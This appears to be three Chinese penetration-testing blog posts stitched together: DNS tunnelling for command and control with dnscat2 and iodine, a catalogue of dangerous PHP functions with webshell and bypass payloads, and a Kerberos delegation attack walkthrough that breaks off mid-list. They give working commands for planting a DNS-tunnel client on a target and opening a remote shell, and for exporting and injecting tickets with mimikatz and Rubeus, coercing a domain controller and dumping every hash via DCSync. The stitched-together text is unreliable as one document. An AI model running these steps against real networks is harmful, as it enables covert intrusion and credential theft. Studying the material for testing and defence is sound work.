Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑大都不会过滤DNS流量,也为DNS成为隐蔽信道创造了条件,因此,DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。DNS隧道的原理:在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。DNS隧道分为两种:直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。区别在于直连模式速度相对快,但安全性相对较差。非直连模式速度相对较慢,但安全性相对较高。大多数情况下都使用中继模式。(另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过。)这里我们假设我们部署的是中继DNS隧道,首先我们的被控制器要查询xxx.xxx.xxx(攻击者构造的域名),当本地缓存不存在这个域名时,它将前往DNS服务器节点查询,然后DNS服务器在我们自己伪装的DNS服务器上查询到域名地址对应的IP,那么我们就可以封装加密的C&C指令传输到被控端上。DNS隧道技术实现仅演示中继隧道搭建,因为这种隧道在实战中用的比较多dnscat2https://github.com/iagox86/dnscat2dnscat2使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证;使用shell及DNS查询类型(TXT MX CNAME A AAAA),多个同时进行的会话类似于SSH中的隧道。严格来讲,dnscat2是命令与控制工具dnscat2通过DNS进行控制并执行命令,具有如下特点:支持多个会话流量加密使用密钥防止中间人攻击在内存中直接执行powershell脚本隐蔽通信1、 部署域名解析主要是添加这两条记录,这里我使用的是godaddy的域名和百度云服务器A记录:用于描述域名到IP地址的映射关系NS记录:用于指定该域名由哪个DNS服务器来进行解析第二行A类型的解析结果是:告诉域名服务器ns1.yokan.***地址为1**.***.***.*** 。第七行NS类型的解析结果是:告诉域名服务器c**.yokan.***的地址为ns1.yokan.***。配置完成后,测试一下域名解析是否设置成功:A类解析 :ping ns1.yokan.***如果该命令能够执行,且显示的IP地址为1**.***.***.***(服务器地址),说明第一条A类解析设置成功并已生效。NS解析:在服务器上进行抓包(端口53的UDP包),命令如下:tcpdump -n -i eth0 udp dst port 53输入如下命令nslookup ***.yokan.***如果抓到对域名c**.yokan.***进行查询的DNS请求数据包,就说明第二条NS解析设置已经生效。2、安装dnscat2服务端因为服务端是用Ruby语言编写的,所以需要配置Ruby环境。Ubuntu上安装:apt-get install gemapt-get install ruby-devapt-get install libpq-devapt-get install ruby-bundlerapt-get install gitgit clone https://github.com/iagox86/dnscat2.gitcd dnscat2/serverbundle install接下来,执行如下命令,启动服务端sudo ruby ./dnscat2.rb c**.yokan.*** -e open -c just_test --no-cache-c : 定义了“pre-shared secret”,可以使用具有预共享密钥的身份验证机制来防止中间人攻击。否则,因为传输的数据并未加密,所以可能被监听网络流量的第三方还原。如果不定义此参数,dnscat2会生成一个随机字符串(将其复制下来,在启动客户端时需要使用它)-e : 规定安全级别。“open”表示服务端允许客户端不进行加密--no-cache : 禁止缓存。务必在运行服务器时添加该选项,因为powershell-dnscat2客户端与dnscat2服务器的Caching模式不兼容。3、在目标主机上安装客户端dnscat2客户端是使用C语言编写的,因此在使用前需要进行编译。在Windows中,可以使用VS进行编译;在Linux中,直接运行“make install”命令即可进行编译。在Linux中输入如下命令,在目标机器上安装dnscat2客户端git clone https://github.com/iagox86/dnscat2.gitcd dnscat2/client/make在本次测试中,目标机器的操作系统是Windows,因此可以直接使用编译好的Windows客户端https://downloads.skullsecurity.org/dnscat2/推荐使用powershell版本的dnscat2客户端https://github.com/lukebaggett/dnscat2-powershell(如果要使用dnscat2-Powershell脚本,目标Windows机器需要支持powershell2.0以上版本)。把脚本下载到目标机器中,执行如下命令加载脚本:Import-Module .\dnscat2.ps1加载脚本后,执行如下命令,开启dnscat2-powershell服务:Start-Dnscat2 -Domain ***.yokan.*** -DNSServer 106.***.***.***在客户端中运行dnscat2.ps1脚本之后,在服务器中可以看到客户端上线的提示4、反弹shelldnscat2服务端使用的是交互模式,所有的流量都由DNS来处理。dnscat2的使用方法和Metasploit类似。输入“Windows”或者“sessions"命令,可以查看当前的控制进程(每个连接都是独立的)。输入”window -i 1"或者“session -i 1"命令,进入目标主机,输入“help”命令,可以查看控制台支持的命令。输入"shell”命令,打开另外一个会话,建立一个交互环境。可以输入cmd指令,进行查询调用exec命令,可以远程打开程序。例如exec notepad.exe执行如下命令,创建一个控制台,然后可以执行powershell命令和脚本exec pshiodineiodine可以通过一台DNS服务器制造一个IPv4数据通道,特别适合在目标主机只能发送DNS请求的网络环境中使用。iodine是基于C语言开发的,分为服务端程序iodined和客户端程序iodine。kali中内置了iodine。 下载:https://github.com/Al1ex/iodineiodine相对于dnscat2来说,速度和稳定性都是在dnscat2之上的。iodine工作原理是:通过 TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP 建立一个虚拟网卡;两者通过 DNS 隧道连接,处于同—个局域网(可以通过ping命令通信)。在客户端和服务端之间建立连接后,客户机上会多出一块名为“dns0”的虚拟网卡。更多使用方法和功能特性,请参考iodine的官方文档:http://code.kryo.se/iodine1、安装服务端首先,设置域名。在这里要尽可能使用短域名(域名越短,隧道的带宽消耗就越小)。设置A记录iodine服务器的IP地址,将NS记录指向此域名接下来,在服务端中安装iodine。在Windows中,需要安装编译好的对应版本的iodine。在Kali Linux中,默认安装了iodine。如果使用的是基于Debian的发行版Linux,可以执行如下命令进行安装:apt install iodine安装后,就可以使用如下命令运行iodine了iodined -f -c -P just_test 192.168.0.1 ***.yokan.*** -DD-f : 在前台运行-c : 禁止检查所有传入请求的客户端IP地址-P : 客户端和服务器之间用于验证身份的密码-D : 指定调试级别。 -DD指第二级。“D”的数量随等级增加这里的192.168.0.1是自定义的局域网虚拟IP地址。完成基本配置后,可以通过iodine检查页面(https://code.kryo.se/iodine/check-it)检查配置是否正确如果配置无误却无法正常工作,需要检查服务端的防火墙配置情况。2、 安装客户端,并使用DNS隧道2.1目标主机为Linux在Linux客户端机器上,只需要安装iodine客户端,命令如下:apt install iodineiodine -f -P just_test ***.yokan.*** -M 200-r : iodine有时可能会自动将DNS隧道切换为UDP通道,该参数的作用是强制在任何情况下使用DNS隧道-M : 指定上行主机名的大小-m : 调节最大下行分片的大小-T : 指定所使用的DNS请求的类型,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A-O : 指定数据编码规范-L : 指定是否开启懒惰模式(默认为开启)-I : 指定请求与请求之间的时间间隔出现这个表明建立连接成功可以看到,客户端上多了一块dns0虚拟网卡并且可以看到路由规则上增添了192.168.0.0这个网段使用DNS隧道:返回服务器查看,发现在服务端上已经建立了连接新启一个终端,我们尝试在服务器上远程连接目标机器,显示连接成功:2.2目标主机为Windows如果目标机器是Windows机器,需要下载编译好的Windows版本,同时,需要安装TAP网卡驱动程序。也可以下载某VPN,在安装时仅选择TAP-Win32驱动程序。安装后,服务器上多了一块名为"TAP-Windows Adapter V9"的网卡然后我们接着下载iodine的windows客户端http://code.kryo.se/iodine/iodine-0.7.0-windows.zip将iodine-0.7.0-Windows解压后,进入解压目录,输入如下命令,连接服务端( 要以管理员的身份运行命令,我认为iodine唯一的缺点就是要高权限运行命令,可能要配合提权操作才能充分发挥iodine的作用)iodine.exe -f -P just_test ***.yokan.***如果出现,如上图,“Connection setup complete, transmitting data.”的提示信息,就表示DNS隧道已经建立了。此时,TCP over DNS已经建立了。在客户端执行"ping 192.168.0.1"命令,连接成功使用DNS隧道:DNS隧道的使用方法比较简单。由于客户端和服务器在同一个局域网中,只要直接访问即可。例如,登录目标主机的3389端口,就可以直接执行"rdesktop 192.168.0.2:3389"命令。同样,目标主机也可以通过SSH进行登录服务器防御DNS隧道的方法防御隧道攻击并非易事,特别是防御DNS隧道攻击。通过如下操作,能够防御常见的隧道攻击行为。i)禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信ii)虽然没有人会将TXT解析请求发送给DNS服务器,但是dnscat2和邮件服务器/网关会这样做。因此,可以将邮件服务器/网关列入白名单并阻传人和传出流量中的TXT请求。iii)跟踪用户的 DNS查询次数。如果达到阅值,就生成相应的报告iv)阻止ICMP永远相信 永远热爱
代码执行相关函数eval()#传入的参数必须为PHP代码,需要以分号结尾。#执行多行代码eval(phpinfo());eval($_POST[‘cmd’]);assert()#执行单行代码与eval类似,字符串被 assert() 当做 PHP 代码来执行assert($_POST[‘CMD]);preg_replacemixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])搜索subject中匹配pattern的部分, 以replacement进行替换。preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码。(提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在包含 preg_replace() 的行中出现语法解析错误)create_funcion()create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。string create_function(string $args , string $code )$args 变量部分$code 方法代码部分(要执行的代码)array_map()array_map()函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给array_map()函数的数组数目一致。array_map( callable $callback, array $array1[, array $...] ) : arrayarray_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。call_user_func()call_user_func 把第一个参数作为回调函数调用,其余参数是回调函数的参数。call_user_func_array()call_user_func_array把第一个参数作为回调函数(callback)调用,并把一个数组参数作为回调函数的参数array_filter()array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。usort uasortusort() 通过用户自定义的比较函数对数组进行排序。uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。php>=5.6:变长参数是PHP5.6新引入的特性,在PHP中可以使用 func(...$arr)这样的方式,将$arr数组展开成多个参数,传入func函数。php版本随意:文件操作函数file_put_contents() 函数把一个字符串写入文件中。fputs() 函数写入文件动态函数PHP函数直接由字符串拼接“${@phpinfo()}”单引号不可以(花括号中语句前要加个@ ,不然不行)(@ 空格 tab 注释符 + -等符号都可以,就是不能直接写代码)命令执行相关函数exec()function exec(string $command,array[optional] $output,int[optional] $return_value)php代码:知识点:exec 执行系统外部命令时不会输出结果,而是返回结果的最后一行,如果你想得到结果你可以使用第二个参数,让其输出到指定的数组,此数组一个记录代表输出的一行,即如果输出结果有20行,则这个数组就有20条记录,所以如果你需要反复输出调用不同系统外部命令的结果,你最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。passthru()function passthru(string $command,int[optional] $return_value)知识点:passthru与system的区别,passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。system()function system(string $command,int[optional] $return_value)知识点:system和exec的区别在于system在执行系统外部命令时,直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,如果执行命令成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。反撇号`和shell_exec()shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体代码:用popen()函数打开进程上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。resource popen ( string $command , string $mode )函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读和写。函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。popen()打开一个指向进程的管道,该进程由派生给定的command命令执行而产生。返回一个和fopen()所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。此指针可以用于fgets(),fgetss()和 fwrite()proc_open()函数与Popen****函数类似,但是可以提供双向管道pcntl_exec()函数path是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本args是一个要传递给程序的参数的字符串数组。pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0SSRFfile_get_contents()直接用file_get_contents()加载url指向文件fsockopen()fsockopen函数会使用socket跟服务器建立tcp连接,传输原始数据curl_exec()变量覆盖$$以上代码,可以用从G P C获得的 '参数=值',来覆盖之前的所有变量extratct()extract函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。该函数返回成功设置的变量数目。2.语法extract(array,extract_rules,prefix)参数描述array必需。规定要使用的数组。extract_rules可选。extract函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。可能的值:EXTR_OVERWRITE ——默认。如果有冲突,则覆盖已有的变量。parse_str()1.parse_str()函数介绍parse_str函数把查询字符串解析到变量中。注释:如果未设置array参数,由该函数设置的变量将覆盖已存在的同名变量。parse_str函数的作用就是解析字符串并注册成变量,在注册变量之前不会验证当前变量是否存在,所以直接覆盖掉已有变量2.语法:parse_str(string, array)**"参数描述string必需。规定要解析的字符串。array可选。规定存储变量的数组名称。该参数指示变量存储到数组中。import_request_variables()PHP4-5.4.0 才有该函数。import_request_variables将 GET/POST/Cookie变量导入到全局作用域中;import_request_variables函数就是把GET、POST、COOKIE的参数注册成变量,用在register. globals被禁止的时候语法:bool import_request_variables(string$types[string$prefix] )$type代表要注册的变量,G代表GET,P代表POST,C代表COOKIE,第二个参数为要注册变量的前缀XXEsimplexml_load_string实例: 闪灵s-cms看到IF语句这边是需要满足两个条件1、$signature 不等于空2、$echostr 等于空通过全局搜索可以知道了 $signature 是一个超全局变量 signature,$echostr也是我们可以控制simplexml_load_string的内容,所以存在XXE可以读取任意文件:PHP黑魔法in_array在判断之前自动做类型转换is_numericPHP提供了is_numeric函数,用来变量判断是否为数字。但是函数的范围比较广泛,不仅仅是十进制的数字。任何参数做16进制编码传入,会直接通过(true)switchmd5()、sha1()\1. 0e开头的全部相等 (==判断)240610708和QNKCDZO的md5值类型相似,都是以0e开头,在== 相等操作符的运算下,结果返回了true。 MD5和sha1一样\2. 利用数组绕过 (===判断)MD5和sha1对一个数组哈希将返回NULL,而NULL===NULL返回true,所有可绕过判断filter_var、parse_urlfilter_var()filter_var — 使用特定的过滤器过滤一个变量最常见的是FILTER_VALIDATE_URL过滤器,用来判断是否是一个合法的urlfilter_var可能存在一些绕过:参考:PHP-Audit-Labs/README.md at master · hongriSec/PHP-Audit-Labs (github.com)SSRF中可参考文章: https://www.jianshu.com/p/80ce73919edbXSS中可参考:https://blog.csdn.net/mysteryflower/article/details/94405122例如:我们使用 payload :?url=javascript://comment``%250aalert(1) ,可以执行 alert 函数:实际上,这里的 // 在JavaScript中表示单行注释,所以后面的内容均为注释,那为什么会执行 alert 函数呢?那是因为我们这里用了字符 %0a ,该字符为换行符,所以 alert 语句与注释符 // 就不在同一行,就能执行。当然,这里我们要对 % 百分号编码成 %25 ,因为程序将浏览器发来的payload:javascript://comment``%250aalert(1) 先解码成: javascript://comment%0aalert(1) 存储在变量 $url 中(上图第二行代码),然后用户点击a标签链接就会触发 alert 函数。strcmp数组跟字符串比较返回0查看php手册int strcmp ( string $str1,string $str2)return valuesreturn < 0 if str1 is less than str2; >0 if str1 is greater than str2, and 0 if they are equal当输入的两个值不是字符串时就会产生非预期的返回值比如trimtrim 函数会过滤空格以及 \n\r\t\v\0,但不会过滤过滤\f· " " (ASCII 32 (0x20)),普通空格符。· "\t" (ASCII 9 (0x09)),制表符。· "\n" (ASCII 10 (0x0A)),换行符。· "\r" (ASCII 13 (0x0D)),回车符。· "\0" (ASCII 0 (0x00)),空字节符。· "B" \x0 "\v" (ASCII 11 (0x0B)),垂直制表符。· \f的意思是:换页。将当前位置移到下一页的开头。preg_matchpreg_match 函数用于进行正则表达式匹配,返回 pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题pre_match 在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,如果传入一个超长的字符串,会导致 pre_match 消耗大量资源从而导致 php 超时(一般为30s),后面的 php 语句就不会执行。payload:就是匹配文件名由字母、数字、下划线、破则号、斜杠、空白字符各种组合的并且后缀名是rpt的文件,如果匹配成功,就执行系统命令file打印文件的类型和编码信息,如果匹配失败就打印’regex failed’.如果开启了/m,会存在绕过注意到正则表达式结尾的/m 了,在php中,/m表示开启多行匹配模式,开启多行匹配模式之后^和$的含义就发生了变化,没开启多行模式之前(即单行匹配模式), ^ 和$ 是匹配字符串的开始和结尾,开启多行模式之后,多行模式^,$可以匹配每行的开头和结尾,所以上述payload里面含有换行符,被当做两行处理,一行匹配OK即可,所以进入了exec执行分支,进而导致命令执行。修饰符说明1 2 3 4 5 6 7i 在和正则匹配是不区分大小写 m 将字符串视为多行。默认的正则开始“”和结束“$”将目标字条串作为一单一的一“行”字符(甚至其中包括换行符也是如此)。如果在修饰符中加上“m”,那么开始和结束将会指点字符串的每一行的开头就是“”结束就是“$”。 o 评估表达式只有一次 s 如果设定了这个修正符,那么,被匹配的字符串将视为一行来看,包括换行符,换行符将被视为普通字符串。 x 忽略空白,除非进行转义的不被忽略。 g 在全局范围内找到所有匹配 cg 即使全局匹配失败也允许搜索继续preg_match_all正则表达式全局匹配,成功返回整个模式匹配的次数(可能为零),如果出错返回 FALSEereg %00 截断ereg 读到 %00 的时候,就截止了这里 a=abcd%001234,可以绕过htmlentities一般仅仅 htmlenetities($query) 这样用,不加第二个参数的情况下,很有可能存在漏洞htmlentities不加第二个参数的话,不会转义单引号。案例参考:PHP-Audit-Labs/README.md at master · hongriSec/PHP-Audit-Labs (github.com)(由于htmlentities运用错误,导致XSS、SQL注入)$_REQUEST① :超全局数组 $_REQUEST 中的数据,是 $_GET 、 $_POST 、 $_COOKIE 的合集,而且数据是复制过去的,并不是引用。所以对 $_GET 、 $_POST 处理并不会影响 $_REQUEST 中的数据。可以发现 REQUEST 数据丝毫不受过滤函数的影响(意思就是GPC的数据经过过滤处理,request不会受到影响)案例:PHP-Audit-Labs/README.md at master · hongriSec/PHP-Audit-Labs (github.com)② :php中 REQUEST 变量默认情况下包含了 GET ,POST 和 COOKIE 的数组。在 php.ini 配置文件中,有一个参数 variables_order ,这参数有以下可选项目这些字母分别对应的是 E: Environment ,G:Get,P:Post,C:Cookie,S:Server。这些字母的出现顺序,表明了数据的加载顺序。而 php.ini 中这个参数默认的配置是 GPCS ,也就是说如果以 POST 、 GET 方式传入相同的变量,那么用 REQUEST 获取该变量的值将为 POST 该变量的值 所有如果存在类似:$_GET传入的参数,通过$_REQUEST进行过滤,就可能存在问题案例:PHP-Audit-Labs/README.md at master · hongriSec/PHP-Audit-Labs (github.com)iconvWindows FindFirstFile利用将文件不可知部分之后的字符用 ‘<’ 或者’>’代替,只使用一个’>‘只能代表一个字符,使用’>>’两个可以代替多个字符。可以用来进行未知文件名的文件包含,和目录爆破。session反序列化在php中session有三种序列化的方式,分别是php_serialize, php_binary和php【在 PHP 中默认使用的是 PHP 引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '``需要设置的引擎``')``】这里举个例子来了解一下在不同的处理器下,session所储存的格式有什么不一样(测试的时候php版本一定要大于5.5.4,不然session写不进文件)):比如这里我get进去一个值为shy,查看一下各个存储格式:这有什么问题,其实PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。如:使用不同处理器来处理session文件。php引擎的存储格式是键名 | serialized_string,而php_serialize引擎的存储格式是serialized_string。如果程序使用两个引擎来分别处理的话就会出现问题。先以php_serialize的格式存储,从客户端接收参数并存入session变量(1.php)接下来使用php处理器读取session文件(2.php)攻击思路:首先访问1.php,在传入的参数最开始加一个'|',由于1.php是使用php_serialize处理器处理,因此只会把'|'当做一个正常的字符。然后访问2.php,由于用的是php处理器,因此遇到'|'时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对'|'后的值进行反序列化处理。这里可能会有一个小疑问,为什么在解析session文件时直接对'|'后的值进行反序列化处理,这也是处理器的功能?这个其实是因为session_start()这个函数,可以看下官方说明:首先生成一个payload:攻击思路中说到了因为不同的引擎会对'|',产生歧义,所以在传参时在payload前加个'|',作为a参数,访问1.php,查看一下本地session文件,发现payload已经存入到session文件访问一下2.php看看会有什么结果成功触发了student类的__wakeup()方法。永远相信 永远热爱
什么是域委派域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限访问域内的其他服务。简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派。域委派是大型网络中经常部署的应用模式,给多跳认证带来了很大的便利,但是与此同时也带来了很大的安全隐患,利用委派,攻击者可获取本地管理员甚至域管理员权限,还可以制作深度隐藏的后门。域用户 yokan\justtest 以 kerberos 身份验证访问 Web 服务器,请求下载文件。但是真正的文件在后台的文件服务器上。于是,Web服务器的服务账号websrv模拟域用户yokan\justtest,以kerberos协议继续认证到后台文件服务器。后台文件服务器将文件返回给Web服务器,Web服务器将文件返回给域用户yokan\justtest。这样,就完成了一个委派的流程。委派的分类非约束性委派(Unconstrained Delegation )约束性委派( Constrained Delegation)基于资源的约束性委派(RBCD: Resource Based Constrained Delegation)委派的前提在域内只有主机账号和服务账号才有委派属性。主机账号:活动目录中的computers组内的计算机,也被称为机器账号。服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号。委派的前提:被委派的用户不能被设置为不能被委派属性。非约束性委派(Unconstrained Delegation )概述1、 在Windows Server2000首次发布Active Directory时,Microsoft就提供了一种简单的机制来支持用户通过Kerberos向Web Server进 行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案,这就是最早的非约束性委派。对于非约束性委派 (Unconstrained Delegation),服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT, 模拟该用户访问任意服务。非约束委派的设置需要SeEnableDelegation 特权,该特权通常仅授予域管理员 。2、 配置了非约束性委派属性的机器账号的userAccountControl 属性有个Flag位 WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是0x81000=528384。3、 配置了非约束性委派属性的服务账号的userAccountControl 属性有个Flag位 NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION, 其对应的数是0x80200=524800。查找非约束委派的主机或服务账号(域控默认配置非约束委派属性)1、 利用powersploit中的powerviewImport-Module .\PowerView.ps1; 查询非约束委派的主机 Get-NetComputer -Unconstrained -Domain yokan.com 查询非约束委派的服务账号 Get-NetUser -Unconstrained -Domain yokan.com | select name2、 利用ADFind查找域中配置非约束委派的用户AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName查找域中配置非约束委派的主机AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName3、 ldapsearch非约束性委派大致流程user访serverA,于是向DC发起认证,DC会检查serverA的机器账号的属性,如果是非约束委派的话,会把用户的TGT放在ST票据中并一起发送给serverA,这样serverA在验证ST票据的同时也获取到了用户的TGT,并把TGT储存在自己的lsass进程中以备下次重用,从而serverA就可以使用这个TGT,来模拟这个user访问任何服务。从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境。非约束性委派利用域:yokan.com 域控:WIN-1D09BAA27UF IP:192.168.111.134 域管:administrator 受委派机器:SERVER2012现在将SERVER2012这个机器账号设置为非约束委派。通过命令行打开adsiedit.msc查看SERVER2012机器属性,可以看到:当被设置为非约束委派的时候,它的userAccountControl会包含TRUSTED_FOR_DELEGATION字段。用域管访问SERVER2012机器然后在SERVER2012上以管理员权限运行mimikatz:privilege::debug导出票据sekurlsa::tickets /export此时拿到了管理员的票据,用mimikatz将票据注入内存中,然后访问域控:首先使用mimikatz清楚内存中的票据kerberos::purge然后导入票据kerberos::ptt [0;7b5d92a]-2-0-60a00000-Administrator@krbtgt-YOKAN.COM.kirbi查看票据kerberos::list可以访问域控:非约束委派+spooler打印机如果只是单纯的非约束委派话需要管理员主动连接,所以在实战环境利用比较鸡肋。利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接,这个利用场景是tifkin_,enigma0x3和harmj0y在DerbyCon 2018提出的利用原理:利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。请求过程如下:注:Print Spooler服务默认是自动运行的注:我在windows server2008上操作没有成功,不知道是我的问题还是有版本限制,按照上面的原理来说应该是没有版本限制的,不过把域环境重新配置了一遍,域控换成了windows server2012R2就成功了。复现参考:https://xz.aliyun.com/t/7217https://mp.weixin.qq.com/s/1sR0wTyJFf5UnuPjtJ-DWw利用工具:https://github.com/cube0x0/CVE-2021-1675AdFind.exe(http://www.joeware.net/freetools/tools/adfind/)Impacket(https://github.com/SecureAuthCorp/impacket)SpoolSample(https://github.com/leechristensen/SpoolSample)Rubeus(https://github.com/GhostPack/Rubeus)利用复现环境:域:yokan.com域控:系统:Windows server 2008主机名:WIN-1D09BAA27UF,ip:192.168.111.134域内主机:系统:windows 10,主机名:DESKTOP-JSNG43Q,ip:192.168.111.153给win10这个主机账户开启非约束委派:利用:利用前提是:需要获取一台主机账户开启了非约束委派域内机器的权限。(这里是win10机器(1)查询域内配置非约束委派的主机::(2)查看域控主机上是否运行PrintSpooler服务(默认运行)ls [\ad\pipe\spoolss](file://ad/pipe/spoolss) (网图)有显示spoolss即为域控主机上运行了PrintSpooler服务,如果没有运行,我们将收到一个错误信息。还有另一种方法。我们可以使用impacket中rpcdump.py脚本扫描存在PrintSpooler服务的主机:如图所示为存在PrintSpooler服务,未显示信息则不存在。(3)使用Rubeus监听来自域控(AD)的4624登录日志(需要管理员权限):(4)在win10主机上运行SpoolSample.exe,向域控(WIN-1D09BAA27UF)的Spooler服务发送请求,强制域控(WIN-1D09BAA27UF)向win10主机发起认证:【没有成功,查资料说是域控换成SERVER2012以上就可以了,这边没有相应环境,下面贴一下网图吧】(5)捕捉到来自域控(AD)的认证请求,导出其TGT数据:【PS:也可以像 《非约束委派利用》 一节 一样,直接用mimikatz导出票据】(6)使用Rubues进行PTT票据传递:PTT操作将通过LsaCallAuthenticationPackage()API提交当前登录会话的(TGT或服务票证),其中包含KERB_SUBMIT_TKT_REQUEST消息,或者(如果已提升)由指定的登录会话"/luid:0xA.."。与其他"/ticket:X"参数一样,该值可以是".kirbi"文件的base64编码或磁盘上".kirbi"文件的路径。使用Rubues导入base64的ticket:(7)成功导入TGT后,查看可用票据:(8)利用DCSync导出域内所有用户hash:我们可以进一步进行Hash传递或者进行黄金票据等。约束性委派( Constrained Delegation)概述1、 由于非约束性委派的不安全性,微软在Windows Server 2003中发布了约束性委派。同时,为了在Kerberos协议层面对约束性委派的支持,微软扩展了两个子协议 S4u2Self(Service for User to Self) 和 S4u2Proxy (Service for User to Proxy ),这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST1);S4U2proxy可以以用户的名义请求其它服务的ST2,约束委派就是限制了S4U2proxy扩展的范围, 只能模拟该用户访问特定的服务。2、 配置了约束性委派账户的msDS- AllowedToDelegateTo属性会指定对哪个SPN进行委派。约束委派的设置需要 SeEnableDelegation 特权,该特权通常仅授予域管理员。3、 配置了非约束性委派的机器账号的userAccountControl属性有个FLAG位 WORKSTATION_TRUST_ACCOUNT | TRUETED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的数是0x1001000=16781312。4、 配置了非约束性委派的服务账号的userAccountControl属性有个FLAG位 NORMAL_ACCOUNT | TRUETED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的数是0x1000200=16777728。S4U2Self和S4U2proxy的请求过程注:其中步骤1-4代表S4U2Self请求的过程,步骤5-10代表S4U2proxy的请求过程上述请求的文字描述:\1. 用户向service1发出请求。用户已通过身份验证,但service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式验证的。\2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。\3. KDC返回给Service1一个用于用户验证Service1的ST1,该ST1可能包含用户的授权数据。\4. service1可以使用ST中的授权数据来满足用户的请求,然后响应用户。注:尽管S4U2self向service1提供有关用户的信息,但S4U2self不允许service1代表用户发出其他服务的请求,这时候就轮到S4U2proxy发挥作用了\5. 用户向service1发出请求,service1需要以用户身份访问service2上的资源。\6. service1以用户的名义向KDC请求用户访问service2的ST2\7. 如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC ,如果PAC有效或不存在,则KDC返回ST2给service1,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是service1的身份。\8. service1使用ST2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证。\9. service2响应步骤8的请求。\10. 